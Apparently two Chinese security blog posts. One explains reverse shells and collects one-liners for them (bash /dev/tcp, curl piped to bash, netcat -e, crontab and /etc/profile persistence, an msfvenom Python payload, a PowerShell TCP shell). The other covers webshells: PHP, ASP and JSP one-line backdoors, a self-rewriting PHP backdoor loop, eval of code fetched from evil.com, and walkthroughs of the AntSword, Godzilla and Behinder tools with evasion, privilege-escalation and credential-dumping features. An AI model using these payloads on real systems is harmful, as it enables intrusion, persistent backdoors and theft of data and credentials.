具体实现方式如下:攻击者创建一个监听器,通常绑定在攻击者的计算机上的特定端口上。然后,攻击者将植入恶意代码的文件发送给受害者,并诱使受害者执行该文件。一旦受害者执行了该文件,它会尝试与攻击者的计算机上的监听器建立连接。 当连接建立后,攻击者就能够远程控制受害者的计算机,并获取对其命令行界面的访问权限。攻击者可以通过控制端向被控端发送各类命令 反弹 shell 的主要原因是克服目标系统上的各种限制,包括防火墙、权限受限以及被占用的端口。通过反向 shell,攻击者能够建立一个从目标机器到攻击者机器的连接,并在这个连接上执行各种操作。 具体原因如下: 防火墙规则绕过: 如果目标机器处于防火墙保护之下,正向连接可能会受到阻碍。反向 shell 允许目标机器主动连接到攻击者的机器,绕过了一些防火墙规则。 权限受限: 在目标系统上,攻击者可能受到权限的限制,无法在目标系统上建立一个正向连接。通过反向 shell,攻击者可以让目标系统主动连接到攻击者控制的机器,从而绕过权限问题。 端口占用: 如果目标系统上的某个端口被占用,建立正向连接可能会面临困难。反向 shell 允许目标系统选择一个可用的端口并连接到攻击者的机器,避免了端口占用的问题。 动态 IP 地址: 如果目标系统的 IP 地址是动态变化的,使用反向 shell 可以更灵活地适应目标系统 IP 地址的变化。 维持持久性: 反向 shell 还可以帮助攻击者在目标系统上维持持久性,因为一旦建立连接,攻击者可以随时再次使用该连接,而无需重新建立。 总的来说,反向 shell 提供了一种灵活、绕过限制的方式,使攻击者能够在目标系统上执行各种操作,维护访问和控制目标系统。这也是为什么它在渗透测试和攻击中被广泛使用的原因。 假设目标机器的防火墙禁止从外部网络访问目标机器上的某个特定端口(例如端口号 8888)。攻击者想要通过该端口建立与目标机器的连接,但由于防火墙规则的限制,正向连接无法成功。 在这种情况下,攻击者可以使用反向 shell 来绕过防火墙规则。具体步骤如下: 创建监听器: 攻击者在自己的机器上使用工具(例如Netcat、Metasploit等)创建一个监听器,并将其绑定到一个允许的端口(例如端口号 9999)。 设置恶意代码: 攻击者将目标机器上的漏洞或恶意代码修改为尝试连接到攻击者机器的 IP 地址和监听器的端口号。这可以通过植入后门、利用漏洞等方式实现。 目标机器连接尝试: 当目标机器上的恶意代码执行时,它会尝试与攻击者机器上的监听器建立连接,连接的目标是攻击者的 IP 地址和监听器的端口号。 防火墙规则绕过: 由于监听器绑定在一个允许的端口上(例如端口号 9999),防火墙允许目标机器与攻击者机器建立连接,即使该连接是由目标机器主动发起的。 建立连接后的控制: 一旦连接建立成功,攻击者就能够通过反向 shell 控制目标机器,执行各种命令、查看文件等操作。 那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。在渗透测试过程中,得到 webshell 后一般我们会反弹 shell。 反弹Shell和Webshell的区别反弹 shell 是一种攻击技术,通常用于渗透测试或黑客攻击中。它的基本原理是通过在目标系统上运行恶意代码,将系统的 shell(命令行界面)连接到攻击者控制的远程服务器上。 Webshell 是一种特殊类型的恶意代码,它被植入到受攻击的 Web 服务器上,以获得对服务器的控制权。与传统的反弹 shell 不同,Webshell 缺乏直接的交互性。即使攻击者成功地在目标服务器上部署了 Webshell,他们也无法直接通过 shell 连接来执行命令和获取系统权限。 因此,在某些情况下,攻击者可能会尝试通过反弹 shell 的方式来获取更高级的系统访问权限。这涉及到在目标系统上执行一些命令或利用漏洞,以便与攻击者的远程服务器建立一个交互式的 shell 连接。通过这种方式,攻击者可以更方便地执行各种操作,包括浏览文件系统、执行命令、窃取敏感数据等。 反弹 shell 大全Bash 反弹 shell1234# Alicenc -lvvp 12345# Bob/bin/bash -c bash -i >& /dev/tcp/x.x.x.x/12345 0>&1 Bash 反弹 shell TCP1234# Alicenc -lvvp 4242# Bobsh -i >& /dev/tcp/127.0.0.1/4242 0>&1 Bash 反弹 shell UDP1234# Alicenc -u -lvvp 4242# Bobsh -i >& /dev/udp/127.0.0.1/4242 0>&1 以下是针对Bash反弹一句话进行了拆分说明: 命令 命令详解 bash -i 产生一个bash交互环境。 >& 将联合符号前面的内容与后面相结合,然后一起重定向给后者。 /dev/tcp/47.xxx.xxx.72/2333 Linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。 0>&1 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。 Bash反弹一句完整的解读过程就是: Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP 2333会话连接)相结合,然后在重定向个TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。 Curl配合Bash反弹shell这里操作也很简单,借助了Linux中的管道。 首先,在攻击者vps的web目录里面创建一个index.php或index.html,内容如下: 1234567891011# Aliceecho 'bash -i >& /dev/tcp/192.168.64.215/2333 0>&1' > index.html# 临时起Web服务的三种方法# python -m SimpleHTTPServer 8080# python3 -m http.server 8080# php -S 0.0.0.0:8080# 监听nc -lvvp 2333# Bobcurl 192.168.64.215|bash Curl 配合 Bash 反弹 shell 的方式在 CTF(Capture The Flag)题目中经常被使用。具体的命令是 curl IP|bash,其中的 IP 可以是任意格式,包括但不限于十进制、十六进制、八进制和二进制等。 NC 反弹 shell Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。 目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包,安装的如下: 123456wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz --no-check-certificatetar -xvzf netcat-0.7.1.tar.gzcd tar -xvzf netcat-0.7.1.tar.gz./configuremake && make installmake clean 安装完原生版本的 netcat 工具后,便有了netcat -e参数,我们就可以将本地bash反弹到攻击机上了。 12345# Alicenc -lvvp 2333# Bobnetcat 192.168.64.215 2333 -e /bin/bash# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash Crontab 反弹 shell在目标主机的定时任务文件中写入一个反弹 shell 脚本是一种常见的攻击技术,但前提是我们必须知道目标主机当前的用户名。这是因为我们的反弹 shell 命令需要写入到特定的路径中,例如 /var/spool/cron/[crontabs]/<username>。 具体来说,在CentOS系列主机上,如果当前用户名为 root,我们需要将以下内容写入到 /var/spool/cron/root 文件中: 1* * * * * /bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/攻击者端口 0>&1' 而在Debian/Ubuntu系列主机上,如果当前用户名为 root,我们需要将以下内容写入到 /var/spool/cron/crontabs/root 文件中: 1* * * * * /bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/攻击者端口 0>&1' 这样,当定时任务执行时(在这个例子中是每分钟执行一次),反弹 shell 脚本就会被执行,从而与攻击者建立一个反向连接。 Profile反弹shell当用户打开新的 bash 窗口时,/etc/profile 文件中的内容会被执行。 需要注意的是,对 /etc/profile 文件的修改需要进行管理员权限操作(例如使用 sudo 或以管理员身份登录)。 12/bin/bash -i >& /dev/tcp/192.168.64.215/2333 0>&1 &# 最后面那个&为的是防止管理员无法输入命令 当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell: Metasploit反弹shellMetasploit框架提供了强大的msfvenom工具,用于生成各种类型的一句话反弹shell。这个工具非常实用,特别适用于当我们忘记之前提到的反弹shell命令时。 要查找我们需要生成的各类反弹shell一句话payload,我们可以使用以下方法: 使用命令 msfvenom -l 结合关键字过滤(例如 cmd/unix/reverse),可以列出符合条件的各类反弹shell一句话payload,具体使用方法如下: 12┌──(root㉿kali)-[/home/kali]└─# msfvenom -l payloads | grep "cmd/unix/reverse" 以上命令将在所有可用的payload中筛选并列出符合关键字cmd/unix/reverse的项,这些项包含各种反弹shell一句话payload的生成参数和选项。 如上图所示,metasploit支持生成反弹shell一句话的类型非常丰富,大家可以依据渗透测试对象自行选择使用。比如,我们获取一个python反弹shell的一句话: 12345678910┌──(root㉿kali)-[/home/kali]└─# msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=2333 -f raw[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload[-] No arch selected, selecting arch: cmd from the payloadNo encoder specified, outputting raw payloadPayload size: 356 bytespython -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNUMEKgzAM/RXpqYJUrYcdRg8yHIyxDaZ3mV1FmWuKqf+/FoXRmwlJSPLyHmT8GphthCA/ykZRgktnZpAK0TXg0mZHFwOgFSTnB5Y5z0mw9DSCF0URTFGszGwtdOvKc3u5V43XWwf143Rt6+ZZlbc4JGAStFbSUurl3YUXikMQIHsvhlNk/TgpDdStk2wHJt+B4SHGiP+LmHxNEyVpN+oUBxL/AAt8WAg=')[0])))"┌──(root㉿kali)-[/home/kali]└─# nc -lvvp 2333 将生成的python反弹shell的一句话在目标主机上执行即可 WIndows 反弹 shell除了通用的语言反弹 shell 方法之外,对于Windows系统来说,使用PowerShell和VBScript(适用于2003及以下的系统)是非常重要的技能,因为它们提供了更强大和专门针对Windows环境的功能。 PowerShell:PowerShell是一种命令行脚本语言和任务自动化框架,广泛用于管理和控制Windows系统。通过编写和执行PowerShell脚本,我们可以实现更高级、更复杂的操作和管理任务。在反弹 shell 的过程中,利用PowerShell可以获取目标系统的远程执行权限,并执行各种命令、访问系统资源等。 VBScript:VBScript是Visual Basic Scripting Edition的简称,是一种Microsoft Windows操作系统中常用的脚本语言。与PowerShell类似,VBScript也可以用于执行各种系统管理和自动化任务。对于较旧的Windows系统(如2003及以下版本),VBScript是一种有效的反弹 shell 技术。 1$LHOST = "192.168.64.215"; $LPORT = 6666; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close() 反弹shell后获取模拟终端其实,上面所讲的各种方法获取的 shell 都不是一个标准的虚拟终端环境,它们只是提供了一个标准输入。你会发现存在一个问题,即使我们获得了目标虚拟终端的控制权限,但通常会遇到以下几个交互性差和不稳定的问题: 缺乏交互性:获取的虚拟终端没有足够的交互功能。例如,我们无法为添加的账户设置密码或执行sudo等命令。 无法正常显示错误输出:标准的错误输出无法显示,这导致无法正确使用一些文本编辑器(如vim)等工具。 连接不稳定:获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接,这使得持续使用和进行长时间操作变得困难。 解决上述问题的方法是使用Python的pty(pseudo terminal)标准库来获取一个标准的虚拟终端环境。通过在已经获取的shell中输入以下命令,我们可以模拟一个终端设备: 1python -c "import pty;pty.spawn('/bin/bash')" 以上代码将调用pty.spawn()函数,并将/bin/bash作为参数传递给它,从而创建一个新的终端会话。 通过使用这个方法,我们可以获得一个更加交互性强、可执行sudo等命令以及正确显示错误输出的标准终端环境。 如何选择使用 Webshell 还是反弹 shell 取决于攻击者的目标、网络环境以及攻击的具体情境。以下是一些考虑因素: Webshell: 场景: Webshell 是一种通过 Web 应用程序获得对目标服务器控制权的方式。攻击者通常通过 Web 漏洞(如文件上传漏洞)植入 Webshell。 特点: Webshell 是一段服务器端的脚本代码,可以在服务器上执行命令、上传/下载文件,以及与服务器进行交互。 使用场景: 当攻击者已经通过 Web 漏洞获得了对 Web 服务器的访问权限时,可以使用 Webshell 进行进一步的渗透,查看敏感文件、执行命令等。 反弹 Shell: 场景: 反弹 shell 是一种通过建立网络连接,使目标主机主动连接攻击者机器的方式,通常用于绕过网络防火墙、端口限制等情况。 特点: 反弹 shell 具有灵活性,可以在攻击者机器上建立监听器,等待目标主机连接,从而实现远程控制。 使用场景: 当攻击者需要在目标网络中执行命令、进行侦察或维持访问时,反弹 shell 是一种有效的选择。 选择使用 Webshell 还是反弹 shell 取决于攻击者的目标和手段。在渗透测试和红队行动中,攻击者可能会根据情况组合使用这两种技术,以实现更全面的攻击目标。","tags":["信息安全","Shell","渗透测试"]},{"title":"Security-WebShell介绍及使用","path":"/2024/02/20/449cb93/","content":"总字符数: 31.50K 代码: 15.47K, 文本: 8.27K 预计阅读时间: 1.72 小时 简介 WebShell是一种以网页文件的形式存在的代码执行环境,它可以被称为网页后门.Web表示需要服务器提供Web服务,而Shell表示获取对服务器某种程度上的操作权限. 通常情况下,黑客在入侵一个网站后,会将ASP或PHP后门文件混合在正常的网页文件中,然后可以通过浏览器访问这些后门文件,获得一个命令执行的环境,以达到控制网站服务器的目的.具体步骤如下: 入侵网站 将ASP或PHP等后门文件混合在正常的网页文件中 通过网页访问后门文件 获得命令执行的环境 控制网站服务器 Shell文件可以接收来自服务器的数据并执行相应的命令,返回结果.也就是说,只要将Shell文件上传到目标服务器,就可以操控服务器了. 不法分子利用WebShell可以在Web服务器上执行系统命令、窃取数据、植入病毒、盗取核心数据、进行SEO挂马等恶意操作,造成严重的危害. 对于网站管理员来说,Shell文件也可以用于网站管理、服务器管理、数据库管理等.根据文件系统对象(FSO)权限的不同,其功能包括在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等. WebShell特点当黑客使用WebShell时,他们通常会将其上传到可以访问的服务器中. 例如利用用户CMS系统的第三方插件中的漏洞上传一个简单的php WebShell. WebShell的类型和作用各不相同,有一些简单的WebShell只起到连接外界的作用,允许黑客插入更加精准的恶意脚本,执行他们所需要的指令. 另外一些WebShell可能更加复杂,带有数据库或文件浏览器,让黑客能够从遥远的地方查看入侵系统的代码和数据.无论设计如何,WebShell都是网络罪犯和高级持续威胁(APT)经常使用的工具. WebShell的常见攻击特点主要包括以下几点: 持久化远程访问:WebShell脚本通常包含后门,黑客上传WebShell后,可以利用其中的后门实现远程访问和控制服务器,从而长期控制网站服务器.此外,黑客会修复漏洞,以确保其他人不能利用该漏洞.通过这种方式,黑客可以低调地操作,避免与管理员进行交互,并获得相同的结果. 提权:在服务器没有配置错误的情况下,WebShell在Web服务器的用户权限下运行,而用户权限是有限的.通过WebShell,黑客可以利用系统上的本地漏洞来提升权限,从而获得Root权限,基本上可以在系统上做任何事情,包括安装软件、更改权限、添加和删除用户、窃取密码、阅读电子邮件等等. 隐蔽性极强:WebShell可以嵌套在正常网页中运行,不容易被查杀.它还可以穿越服务器防火墙,因为与被控制的服务器或远程主机交互的数据都是通过80端口传输,所以不会被防火墙拦截.在没有记录流量的情况下,WebShell使用POST请求发送数据,也不会在系统日志中留下明显的痕迹,只会在Web日志中记录一些数据提交的记录. 操作与正常网页相似:WebShell通常通过命令交互界面进行操作,但它的操作方式可以模仿正常网页的表单提交、数据库查询等常见操作,使其不易被怀疑.黑客可以利用WebShell执行各种命令、浏览文件和数据库等,而这些操作与合法用户的正常行为类似 综上所述,WebShell具有嵌套在正常网页中、穿越服务器防火墙以及操作类似正常网页的特点,使其在黑客攻击中具有极高的隐蔽性.这也增加了检测和防御的难度,提高了WebShell对网络安全的威胁. WebShell分类WebShell根据脚本类型可以分为PHP脚本木马、ASP脚本木马、JSP脚本木马,还有基于.NET的脚本木马.随着时代和技术的变迁,还出现了使用Python和Lua编写的脚本木马,常见的几种分类包括: 大马 体积较大,功能全面 可调用系统关键函数 使用代码加密进行隐藏 小马 体积较小,功能简单 一般只具备上传功能,用于上传大马 一句话木马 代码简短 可单独生成文件,也可插入文件 安全性高,隐藏性强,可变形免杀 采用固定框架,执行数据操作和传递数据 可使用中国蚁剑等客户端管理WebShell,省去命令行和参数配置,提供图形化操作界面 打包马 主要用于打包网站源代码 拖库马 主要用于导出网站数据库 内存马 无文件落地,难以检测和发现 难以清除,具有持久性 原理WebShell的恶意性表现在它的实现功能上,是一段带有恶意目的的正常脚本代码. PHP一句话木马核心步骤如下: 数据传递 通过超全局变量获取数据:$_GET、$_POST、$_COOKIES、$_REQUEST、$_FILE、$_SERVER 从远程URL中获取数据:使用函数如file_get_contents、curl、svn_checkout等来获取远程URL中的数据,将需要执行的指令数据放在URL中通过URL包含进行读取. 从本地磁盘文件中获取数据:使用函数如file、file_get_contents等来读取本地磁盘文件中的数据,将需要执行的指令数据放在文件中利用IO函数读取. 从数据库中读取:将需要执行的指令放在数据库中,利用数据库操作函数来读取. 从图片头部中获取:使用函数如exif_read_data来获取图片头部中的数据,将需要执行的指令数据放在图片头部中利用图片操作函数读取. 代码执行 将用户传输的数据进行执行. 代码执行函数:eval、assert、system等函数进行代码执行(最常见的方式). LFI(本地文件包含):使用include、require等函数将文件包含转化为代码执行. 动态函数执行:利用PHP的动态函数特性(如$())进行代码执行. Curly Syntax:使用${${...}}等语法进行代码执行,将变量赋值的漏洞转化为代码执行的机会. 下面是一个示例,用于从远程URL中获取数据并执行: 1234<?php$url = 'http://evil.com/evil_payload.txt'; // 远程URL$data = file_get_contents($url); // 获取远程URL中的数据eval($data); // 执行获取到的数据 常见一句话木马php1<?php @eval($_POST['value']); ?> 1<?php assert($_POST[value]);?> 123<?php@preg_replace("/[email]/e",$_POST['h'],"error");?> asp1<%eval request ("value")%> 1<% execute(request("value")) %> aspx1<%@ Page Language="Jscript" %><% eval(Request.Item["value"]) %> jsp123<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> 内存马WebShell内存马是一种常用的无文件攻击手段,它将恶意后门和木马写入内存并执行,以实现对Web服务器的远程控制.随着攻防演练的热度不断上升,攻击和防守之间的博弈日益激烈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的基于文件的WebShell或以文件形式驻留的后门越来越容易被检测到,因此内存马的使用越来越普遍. PHP内存马是一种常见的内存马类型,在线下AWD比赛中经常被使用.在蚁剑等工具中也提供了专门的插件来实现一键注入内存马.其原理相对简单,利用PHP的特性通过反复写入一个木马代码片段来实现无法删除的目的. 123456789101112<?phpignore_user_abort(true); // 忽略用户中止请求,确保脚本继续执行set_time_limit(0); // 设置脚本执行时间为无限制,避免因超时而中断unlink(__FILE__); // 删除当前脚本文件,确保脚本只执行一次$file = 'Shell.php'; // 定义要写入的文件名,这里是Shell.php$code = '<?php @eval($_POST["cmd"]);?>'; // 定义要写入文件的恶意代码,用于远程执行命令while(1){ // 进入无限循环 file_put_contents($file, $code); // 将恶意代码写入文件 usleep(5000); // 程序休眠5000微秒,让循环间隔一定时间} 这段代码会创建一个名为Shell.php的文件,并将恶意代码写入其中.通过设置忽略用户中止、无限制的执行时间和在每次循环中删除当前文件来达到持久化的效果.然而实际上,这种方法仍然会有文件落地,只是管理员难以删除或删除不完全而已. 更具有代表性的是Java内存马.它是一种常见的无文件攻击手段,在目标系统的内存中直接加载并执行恶意代码,从而控制目标系统.相比于传统的基于文件的WebShell或以文件形式驻留的后门,Java内存马更加隐蔽,很难被安全设备和防御措施检测到. WebShell管理工具的使用蚁剑(AntSword)蚁剑的下载蚁剑本体 12https://github.com/AntSwordProject/antSwordhttps://gitee.com/AntSwordProject/antSword 蚁剑加载器 12https://github.com/AntSwordProject/AntSword-Loaderhttps://gitee.com/AntSwordProject/AntSword-Loader 蚁剑的安装蚁剑从v2.0.0-beta版本开始引入了加载器这个概念,需要下载对应平台的加载器运行当前的开发板和发行版源代码. 打开加载器->点击初始化,选择蚁剑源代码目录如antSword-2.1.14/目录 注意:!目录所在的路径不要有中文! 可以如D:\\AntSword-Loader-v4.0.3-win32-x64 不能如D:\\工具\\AntSword-Loader-v4.0.3-win32-x64这样含有中文 初始化完成后再次打开蚁剑加载器 AntSword.exe 即可使用 蚁剑界面点击AntSword菜单内有关于程序、语言设置、代理设置、显示设置等基础功能 编码设置可创建编码器,在页面编辑处粘贴代码点击保存,这样在添加Shell或者编辑Shell配置时,就可以选择==编码器/解码器==了. 插件市场可添加开发者提供的多功能插件 蚁剑(AntSword)的使用代理设置点击AntSword->代理设置,可设置代理 添加Shell界面右键添加数据 插件点击AntSowrd->插件市场在设置中心->设置中文 自行在远程仓库下载插件即可,插件在主页处右键选择使用 哥斯拉(Godzilla)介绍哥斯拉(Godzilla)是继菜刀、蚁剑、冰蝎之后出现的一款优秀的WebShell管理工具,由JAVA语言开发,特点有: 全部类型的Shell能绕过市面大部分的静态查杀 流量加密能绕过市面绝大部分的流量Waf Godzilla自带的插件非常强大,具有内网渗透能力 地址: 1https://github.com/BeichenDream/Godzilla 运行环境 12341. JavaDynamicPayload -> java1.0及以上2. CShapDynamicPayload -> .net2.0及以上3. PhpDynamicPayload -> 4.3.0及以上4. AspDynamicPayload -> 全版本 使用打开哥斯拉前需安装JDK1.8以上环境,之后双击Godzilla.jar打开,然后会在同目录下生成data.db数据库存放数据 生成WebShell点击管理->生成生成所需的WebShell,哥斯拉支持JSP、PHP、Aspx等多种载荷,JAVA和C#的载荷原生实现AES加密,PHP使用或加密.生成时需要记住自己的生成配置用以链接时用. 如下,有效载荷有ASP、JAVA、PHP、C#(CShap)几种,加密器有Base64、RAW、XOR_Base64几种 连接WebShell上述操作生成一个文件,上传到目标服务器,点击目标,设置基础配置连接该WebShell,配置需要与生成的WebShell一致. 添加后右键进入即可进入Shell管理界面 设置代理连接WebShell时可选择代理,可以设置HTTP代理与Burpsuite联动,把哥斯拉流量发送到Burpsuite 请求配置添加目标时,点击请求配置,可修改协议头(包含UA、Accept、Accept-Language三个弱特征),哥斯拉默认的这三项和正常的浏览器有部分差异(UA中含有Godzilla关键字),属于弱特征,可根据自身需求修改,如这里将UA修改成浏览器使用的UA 配置信息点击会有两个配置:程序配置插件配置 其中插件配置可添加和移除本地第三方哥斯拉插件 程序配置则可自行修改部分特征,全局协议头就是一个弱特征,全局代理可设置HTTP和SOCKS代理,这里可以与Burpsuite与联动 全局协议头请求配置中为单条设置,此处为全局设置,修改完点击修改按钮 全局代理设置代理中为单条设置,此处为全局设置 字体设置修改字体格式和大小,你好Hello为修改后的字体与大小,重启程序后生效 核心配置上帝模式开启会使文件管理复杂化,经测试不开启会导致删除文件、新建文件夹、执行等操作出现问题 大文件配置可设置重试次数和单次上传、下载文件大小,字节单位为k,1M=1000000K,若上传或下载的文件较大可自行设置所需大小. PHP基础信息哥斯拉特性是会根据语言的不同显示不同的功能界面,以PHP的WebShell为例,基础信息中含有该主机的系统及版本、当前用户、外连IP与端口、网站根目录、PHP版本等信息 Linux主机比Windows多一个PPs模块,功能为查看进程可能因docker的问题并没有获取到进程 命令执行默认调用的cmd窗口,cmd /c "{command}" 2>&1,若为Linux主机则为/bin/bash 文件管理同其他WebShell工具类似,直接拖动文件放进去即可上传,选择文件或文件夹点击右键,可选择上传、下载、查看属性、新建文件、新建文件夹、编辑器打开、查看属性等操作 哥斯拉的文件管理创新点在于远程下载、执行、大文件上传、大文件下载几块内容,许多WebShell管理工具不支持大文件的上传和下载,安全人员只能通过文件分割方式分块上传;另外,哥斯拉支持直接执行文件,而不必再在命令窗口中输入命令执行. 可直接编辑文件,并可选择编码类型进行保存 选择文件属性,可对文件路径、文件权限、文件修改时间进行修改,用于隐藏文件 数据库管理在数据库管理中哥斯拉会先从容器中加载可用的jdbc,如果没有就通过内存加载jar驱动来链接数据库 点击右下角DbinfoConfig配置服务器信息,注意点是要填写127.0.0.1,因为此时我们正在该服务器上使用服务,填写该服务器IP如192.168.0.123的话,若该服务器不允许远程登录MySQL则会失败 之后点击左侧列表或使用下方Exec SQl都可操作数据库 网络详情相当于在目标机上使用netstat -an查看网络连接情况,如正在监听的端口、外连等 Zip将目标文件夹压缩为压缩文件,或将压缩文件进行解压 设置目标文件夹再设置压缩后的名称即可压缩文件,设置压缩文件再设置解压的目标文件夹即可解压. PSuperServer该模块作者GitHub没有说明,经过摸索发现为ntunnel隧道 该模块应该是一个Navicat的ntunnel_mysql.php的集成模块,将Navicat目录下的ntunnel_mysql.php上传到目标服务器 然后Navicat新建连接,常规中照常设置,注意点为主机地址需设置为127.0.0.1 在HTTP中勾选如下两个选项,然后输入ntunnel_mysql.php的地址,这里要选择base64编码,否则容易被防护软件拦截. PWebShellScan根据常见特征扫描指定文件夹下有无WebShell,并且尝试获取WebShell密码,设置好目标目录后,点击scan按钮即可扫描,经测试,无法扫描到如冰蝎木马的加密WebShell PMeterpretermsfconsole MSF设置监听0.0.0.0:4444 填写MSF服务器的IP和MSF监听的端口,点击Go发现Meterpreter上线 BypassOpenBasedir模块功能为绕过Open_basedir限制,Open_basedir为php.ini中的一个配置选项,将用户访问文件的活动范围限制在指定的区域. PAttackFPM该模块专门攻击php-fpm,php-fpm是FastCGI进程管理器,它包含一个高级处理功能,可以启动任何任务,然后关闭该任务,且过程中不会有任何阻碍. php.ini中的disable_functions配置禁用了putenv()、mail() 、pcntl_exec()等函数,环境是PHP5.6,导致很多常规Bypass的方法都用不了 而PAttackFPM模块可与BypassDisable_functions模块作为组合拳使用,作用是绕过限制执行命令,条件是网站为Linux 操作系统且由Nginx+PHP5.6搭建 123Linux操作系统PHP-FPMNginx+PHP5.6 BypassDisableFunctions模块功能为绕过DisableFunctions,管理员如果设置DisableFunctions则WebShell会无法执行系统命令,该模块提供了一种绕过方式. 使用可见PAttackFPM,其他子模块中 EnvBypass条件: 利用LD_PRELOAD环境变量绕过 12345能够上传自己的.so文件能够控制LD_PRELOAD环境变量的值,比如putenv()函数因为新进程启动将加载LD_PRELOAD中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能执行,比如mail()、imap_mail()、mb_send_mail()和error_log()函数等 AMCBypass条件: 利用Apache_mod_cgi绕过 12345Linux 操作系统Apache + PHP (apache 使用 apache_mod_php)Apache 开启了cgi、rewriteWeb 目录给了AllowOverride权限当前目录可写 P_Eval_Code一个内置代码编译器 PortScan哥斯拉在对方主机产生一个扫描进程,扫描开放端口,在目标主机发现新增一个端口连接TCP 192.168.0.107:80 192.168.0.111:7031 ESTABLISHED 85848扫描进程名httpd.exe,通过Apache进程完成的扫描,扫描结束后该端口连接断开. RealCmd在本地攻击机开放一个端口,将目标主机权限转发给本地攻击机端口 对方如果是Windowsexec file就写cmd,Linux就写/bin/bash 本地攻击机使用nc连接,成功连接到目标主机,攻击机关闭窗口后该连接自动关闭. 1nc64.exe 127.0.0.1 4444 JSPJSP的模块和PHP的不太一样,多了Screen(屏幕截图)、Jrealcmd(虚拟终端)、MemoryShell(内存Shell)、ServletManage(Servlet木马管理)、JarLoader(内存加载Jar)、mimikatz(抓取密码)等模块. RealCmd、PortScan、JMeterpreter、SuperTerminal、Zip与PHP模块用法一致. 基础信息提供了物理路径、真实IP地址、系统版本、插件目录、JDK版本以及各种配置信息. MemoryShell内存Shell模块,在服务器中注册、卸载内存马 可以注册一个哥斯拉的马或者冰蝎、蚁剑的马,甚至是Regeorg,在指定目录下注册生成一个木马文件,然后成功连接该木马; 删除该木马文件时点击unLoadMemoryShell然后输入Shell目录即可 EnumDatabaseConn该模块会尝试得到数据库的连接驱动、账户与密码 Screen屏幕截图,Windows上需要高权限(NT SYSTEM). PetitPotamPrintSpoofer提权模块,利用SeImpersonatePrivilege(身份验证后模拟客户端)权限来尝试获取SYSTEM权限 ServletManage作用是管理Servlet,可获取和卸载Servlet,方便管理内存Shell. Servlet是在服务器上运行的小程序,Servlet虽然被称作”小程序”,但是它的功能却异常强大,因为它是基于Java的,几乎可以使用所有的Java API,Java 能做的事情Servlet也能做. ShellcodeLoader memoryPe是内存PE模块,加载PE并注入. JarLoader用途为加载jar包,主要是加载jdbc mimikatz集成mimikatz,功能为抓密码凭证,现已更名为kiwi,需要较高权限 冰蝎(Benhinder)安装相对于菜刀和蚁剑,冰蝎的特点是动态二进制加密实现新型一句话木马,它的数据是加密传输的 冰蝎项目地址: 1https://github.com/rebeyond/Behinder 所需环境: 12客户端:jre11及以上服务端:.net 2.0+;php 5.3-7.4;java 6+ 文件介绍1234Behinder.jar 冰蝎客户端,双击即可打开冰蝎Plugins 插件目录server文件夹 存放常见语言的WebShelldata.db 数据库文件 新建连接右键->新增,输入WebShell信息,若使用冰蝎自带的WebShell则默认密码为rebeyond 修改默认密码冰蝎WebShell默认密码均为 rebeyond ,为32位md5值的前16位,若要修改为Shell,则在MD5网站查询md5值,将32位md5前16位截取下来即可 122591c98b70119fe624898b1e424b5e91\t前16位截取下来2591c98b70119fe6 Shell 基本信息冰蝎默认木马会弹出phpinfo信息,可以通过phpinfo收集服务器信息 命令执行一个终端窗口,调用的是服务器的cmd窗口 虚拟终端虚拟终端提供一个交互式的真实终端,相当于把服务器侧的Shell给搬到了客户端,在这个Shell里可以执行各种需要交互式的命令,如ssh、mysql,还可以执行python、vim、top等操作 虚拟终端和命令执行不同点在于虚拟终端使用完毕需要点击”停止“按钮来关闭服务器的Shell进程 Linux可在/bin/bash下使用如SSH、MySql,还可以执行Python、VIM、TOP等命令 Windows默认为cmd.exe,启动后若目标服务器为Win7则会在服务器生成一个文件夹(==win10不会生成文件==) Win10下cmd.exe、powerShell.exe均可执行命令,Win7下仅cmd.exe可执行命令. 文件管理可对文件进行上传、下载、新建、修改时间戳等操作 数据库管理数据库管理属于常规功能,目前支持SQL Server、MySQL、Oracle,当服务器环境为Java或者C#时,如果缺少对应的数据库管理库,冰蝎会自动上传并加载对应的库文件. 另外,如果数据库连接密码中有特殊字符(如@符号),用URL编码一下即可(@编码之后为40%) 